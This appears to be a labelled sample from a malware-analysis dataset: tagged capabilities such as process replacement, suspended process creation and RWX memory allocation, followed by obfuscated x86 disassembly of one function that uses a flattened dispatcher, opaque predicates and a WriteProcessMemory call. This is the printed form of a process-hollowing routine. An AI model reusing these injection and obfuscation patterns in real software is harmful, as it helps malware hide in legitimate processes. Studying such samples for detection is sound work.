Function at 0x10006ee0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x120
mov eax, dword [0x1006e200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0x70657d14
sub edx, 1
sub edx, 0x70657d14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x122], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x121], al
mov dword [ebp - 0x128], 0xda3e8457
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x12c], eax
sub eax, 0x80b626b5
je 0x1000dbc7
jmp 0x10006f5b
mov eax, dword [ebp - 0x12c]
sub eax, 0x80c98abf
je 0x1000e9ce
jmp 0x10006f71
mov eax, dword [ebp - 0x12c]
sub eax, 0x80facf95
je 0x10009b81
jmp 0x10006f87
mov eax, dword [ebp - 0x12c]
sub eax, 0x83f8557b
je 0x1000970a
jmp 0x10006f9d
mov eax, dword [ebp - 0x12c]
sub eax, 0x849e9c2b
je 0x1000a6f3
jmp 0x10006fb3
mov eax, dword [ebp - 0x12c]
sub eax, 0x84d00502
je 0x10009817
jmp 0x10006fc9
mov eax, dword [ebp - 0x12c]
sub eax, 0x8522f744
je 0x10009657
jmp 0x10006fdf
mov eax, dword [ebp - 0x12c]
sub eax, 0x855a361f
je 0x1000da1f
jmp 0x10006ff5
mov eax, dword [ebp - 0x12c]
sub eax, 0x865f4b9f
je 0x1000b0f2
jmp 0x1000700b
mov eax, dword [ebp - 0x12c]
sub eax, 0x86be11b4
je 0x1000e8fa
jmp 0x10007021
mov eax, dword [ebp - 0x12c]
sub eax, 0x86bf8f19
je 0x1000afa5
jmp 0x10007037
mov eax, dword [ebp - 0x12c]
sub eax, 0x8782cacb
je 0x1000a49d
jmp 0x1000704d
mov eax, dword [ebp - 0x12c]
sub eax, 0x87b8d932
je 0x1000c109
jmp 0x10007063
mov eax, dword [ebp - 0x12c]
sub eax, 0x87c45c8f
je 0x1000cfa9
jmp 0x10007079
mov eax, dword [ebp - 0x12c]
sub eax, 0x884d3ba1
je 0x1000c334
jmp 0x1000708f
mov eax, dword [ebp - 0x12c]
sub eax, 0x89f943c9
je 0x1000b549
jmp 0x100070a5
mov eax, dword [ebp - 0x12c]
sub eax, 0x8a0711a9
je 0x1000e342
jmp 0x100070bb
mov eax, dword [ebp - 0x12c]
sub eax, 0x8a71429c
je 0x1000c7f7
jmp 0x100070d1
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ced18be
je 0x1000ea0d
jmp 0x100070e7
mov eax, dword [ebp - 0x12c]
sub eax, 0x8d10e8fc
je 0x1000e9ef
jmp 0x100070fd
mov eax, dword [ebp - 0x12c]
sub eax, 0x8e66d208
je 0x1000b8c6
jmp 0x10007113
mov eax, dword [ebp - 0x12c]
sub eax, 0x8f032038
je 0x1000a794
jmp 0x10007129
mov eax, dword [ebp - 0x12c]
sub eax, 0x8ffbefb5
je 0x1000ad04
jmp 0x1000713f
mov eax, dword [ebp - 0x12c]
sub eax, 0x90888058
je 0x1000abae
jmp 0x10007155
mov eax, dword [ebp - 0x12c]
sub eax, 0x915c0950
je 0x1000f0b6
jmp 0x1000716b
mov eax, dword [ebp - 0x12c]
sub eax, 0x9315af9c
je 0x1000bfb7
jmp 0x10007181
mov eax, dword [ebp - 0x12c]
sub eax, 0x938bd6a1
je 0x1000ac7f
jmp 0x10007197
mov eax, dword [ebp - 0x12c]
sub eax, 0x94849b03
je 0x1000b47f
jmp 0x100071ad
mov eax, dword [ebp - 0x12c]
sub eax, 0x956dae0a
je 0x1000993d
jmp 0x100071c3
mov eax, dword [ebp - 0x12c]
sub eax, 0x968045b5
je 0x1000bc9c
jmp 0x100071d9
mov eax, dword [ebp - 0x12c]
sub eax, 0x969439dd
je 0x1000cc5f
jmp 0x100071ef
mov eax, dword [ebp - 0x12c]
sub eax, 0x96c45da0
je 0x1000ade6
jmp 0x10007205
mov eax, dword [ebp - 0x12c]
sub eax, 0x96ea4320
je 0x10009a9d
jmp 0x1000721b
mov eax, dword [ebp - 0x12c]
sub eax, 0x982ed8a2
je 0x1000c375
jmp 0x10007231
mov eax, dword [ebp - 0x12c]
sub eax, 0x996a82db
je 0x1000a005
jmp 0x10007247
mov eax, dword [ebp - 0x12c]
sub eax, 0x9acfad57
je 0x1000c652
jmp 0x1000725d
mov eax, dword [ebp - 0x12c]
sub eax, 0x9af63fd0
je 0x1000ef82
jmp 0x10007273
mov eax, dword [ebp - 0x12c]
sub eax, 0x9b45a9d5
je 0x1000c304
jmp 0x10007289
mov eax, dword [ebp - 0x12c]
sub eax, 0x9b477b7a
je 0x1000eb30
jmp 0x1000729f
mov eax, dword [ebp - 0x12c]
sub eax, 0x9b59bfa0
je 0x1000ad66
jmp 0x100072b5
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c393c86
je 0x1000eeb9
jmp 0x100072cb
mov eax, dword [ebp - 0x12c]
sub eax, 0x9c50f662
je 0x1000eb21
jmp 0x100072e1
mov eax, dword [ebp - 0x12c]
sub eax, 0x9d4437ff
je 0x1000e24f
jmp 0x100072f7
mov eax, dword [ebp - 0x12c]
sub eax, 0x9dc833c6
je 0x1000eb7e
jmp 0x1000730d
mov eax, dword [ebp - 0x12c]
sub eax, 0x9dfaf613
je 0x1000b0a9
jmp 0x10007323
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0321eaf
je 0x1000eb6f
jmp 0x10007339
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0b8f91e
je 0x1000d9a6
jmp 0x1000734f
mov eax, dword [ebp - 0x12c]
sub eax, 0xa0c86a5e
je 0x1000e25e
jmp 0x10007365
mov eax, dword [ebp - 0x12c]
sub eax, 0xa11e7565
je 0x1000c74e
jmp 0x1000737b
mov eax, dword [ebp - 0x12c]
sub eax, 0xa1f21830
je 0x1000ec74
jmp 0x10007391
mov eax, dword [ebp - 0x12c]
sub eax, 0xa2147b70
je 0x1000ad37
jmp 0x100073a7
mov eax, dword [ebp - 0x12c]
sub eax, 0xa2d1c896
je 0x1000972b
jmp 0x100073bd
mov eax, dword [ebp - 0x12c]
sub eax, 0xa49c4670
je 0x1000b9c7
jmp 0x100073d3
mov eax, dword [ebp - 0x12c]
sub eax, 0xa4c39784
je 0x1000ba59
jmp 0x100073e9
mov eax, dword [ebp - 0x12c]
sub eax, 0xa5a12c85
je 0x1000b3cc
jmp 0x100073ff
mov eax, dword [ebp - 0x12c]
sub eax, 0xa6381180
je 0x1000d19e
jmp 0x10007415
mov eax, dword [ebp - 0x12c]
sub eax, 0xa6bea43d
je 0x1000d464
jmp 0x1000742b
mov eax, dword [ebp - 0x12c]
sub eax, 0xa80c2af0
je 0x1000d9ce
jmp 0x10007441
mov eax, dword [ebp - 0x12c]
sub eax, 0xa8c6965f
je 0x1000990d
jmp 0x10007457
mov eax, dword [ebp - 0x12c]
sub eax, 0xa91cf16b
je 0x1000c0c7
jmp 0x1000746d
mov eax, dword [ebp - 0x12c]
sub eax, 0xaaa9703a
je 0x1000eaa0
jmp 0x10007483
mov eax, dword [ebp - 0x12c]
sub eax, 0xaceab95d
je 0x1000d70a
jmp 0x10007499
mov eax, dword [ebp - 0x12c]
sub eax, 0xad5db890
je 0x1000a752
jmp 0x100074af
mov eax, dword [ebp - 0x12c]
sub eax, 0xad740407
je 0x1000a331
jmp 0x100074c5
mov eax, dword [ebp - 0x12c]
sub eax, 0xad8b652b
je 0x1000ea70
mov dword [ebp - 0x128], 0x5ac7e565
jmp 0x1000f1fd
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c398]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xa2d1c896
jmp 0x1000f1fd
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0x841f23c4
sub edx, 1
sub edx, 0x841f23c4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3de5840c
mov ecx, 0x272b2bb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dl, 1
mov eax, 0x956dae0a
mov ecx, 0xf44f2bdb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x64b695f9
jmp 0x1000f1fd
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c390]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xcecdfb4f
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0xa2338213
sub edx, 1
sub edx, 0xa2338213
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x26ef001a
mov ecx, 0x63963323
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c380]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xea267ce
jmp 0x1000f1fd
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c1e0]
movss dword [eax], xmm0
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0x770c5347
sub edx, 1
sub edx, 0x770c5347
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xad8b652b
mov ecx, 0xe1811164
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c1dc]
movss dword [eax], xmm0
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0xf64ea9d6
sub edx, 1
sub edx, 0xf64ea9d6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x563a4bf6
mov ecx, 0x2522aeac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1001c1d8]
movss dword [eax], xmm0
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x5f4151b3
sub edx, 1
add edx, 0x5f4151b3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x52a96985
mov ecx, 0x392f1d1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c334]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x466ab894
jmp 0x1000f1fd
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c32c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c328]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xe5315f8a
jmp 0x1000f1fd
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c324]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xbe4c5357
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0xd4ce2627
jmp 0x1000f1fd
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
sub edx, 0x24192a97
sub edx, 1
add edx, 0x24192a97
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa0321eaf
mov ecx, 0xcfe1bafa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c304]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c300]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xa2147b70
jmp 0x1000f1fd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2fc]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xa1c611e
mov ecx, 0x9b59bfa0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2f8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xcf28eb87
jmp 0x1000f1fd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2e8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xf4d35b15
jmp 0x1000f1fd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c2d8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xfb78ba1c
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfdf99c
mov ecx, 0x865f4b9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x4fa3cd65
jmp 0x1000f1fd
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1001c2a8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xc94315ad
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffbf238e
mov ecx, 0xbc659676
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
sub edx, 0x3f39bebb
sub edx, 1
add edx, 0x3f39bebb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1658c5e6
mov ecx, 0x278cd646
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c284]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xf000f798
jmp 0x1000f1fd
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c280]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x5a5bf5f9
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0xa269cd12
sub edx, 1
add edx, 0xa269cd12
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2df860cf
mov ecx, 0x284dff93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c25c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x546f6caf
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x3fccc386
sub edx, 1
add edx, 0x3fccc386
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61d63494
mov ecx, 0x7e2eb0b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001c22c]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x63d7a076
jmp 0x1000f1fd
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0xa4c4a09e
sub edx, 1
sub edx, 0xa4c4a09e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xec5d597d
mov ecx, 0x1868e05b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x3e829cfc
jmp 0x1000f1fd
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c220]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c21c]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0xf0dbff4e
mov ecx, 0x982ed8a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c218]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xf44d08ee
jmp 0x1000f1fd
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001c1f8]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xf2c637eb
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x30a465bf
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x522550f3
jmp 0x1000f1fd
mov dl, byte [ebp - 0x95]
mov eax, 0x215114d8
mov ecx, 0xca9385d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dl, byte [ebp - 0x8d]
mov eax, 0xa21e222
mov ecx, 0xd3db79c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
sub edx, 0xc42bcd37
sub edx, 1
add edx, 0xc42bcd37
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9c393c86
mov ecx, 0xff5029be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dl, byte [ebp - 0x65]
mov eax, 0xcd0f9fe3
mov ecx, 0xe9eca842
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0xa6d05050
sub edx, 1
sub edx, 0xa6d05050
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x603cc456
mov ecx, 0x4b9aa53b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x128], 0xa80c2af0
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x163ac3a8
sub edx, 1
add edx, 0x163ac3a8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63fd64dc
mov ecx, 0x855a361f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x40]
mov ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x44]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63fd64dc
mov ecx, 0x442568d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0x2b38933d
sub edx, 1
sub edx, 0x2b38933d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdbd0d9fc
mov ecx, 0x2fe69e05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0xa0c86a5e
jmp 0x1000f1fd
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
sub edx, 0xc4720c3b
sub edx, 1
add edx, 0xc4720c3b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x915c0950
mov ecx, 0x46235503
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0xe200a485
jmp 0x1000f1fd
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x2bfb0a7d
sub edx, 1
add edx, 0x2bfb0a7d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55851e9
mov ecx, 0xc08fab3a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x128], eax
jmp 0x1000f1fd
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c1f0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xda6ce405
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0xbd13564f
jmp 0x1000f1fd
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001c1ec]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0xebb2bc92
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0xf0d823f5
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x820a707
jmp 0x1000f1fd
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1001c1d0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x1127173c
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x938bd6a1
jmp 0x1000f1fd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1001c1cc]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x7f3f6298
jmp 0x1000f1fd
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001c1b0]
movss dword [eax], xmm0
mov dword [ebp - 0x128], 0x657f710c
jmp 0x1000f1fd
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xdc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x128], 0xff5029be
jmp 0x1000f1fd
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x128], 0x2132fe54
jmp 0x1000f1fd
mov dword [ebp - 0x128], 0x46235503
jmp 0x1000f1fd
jmp 0x10006f3f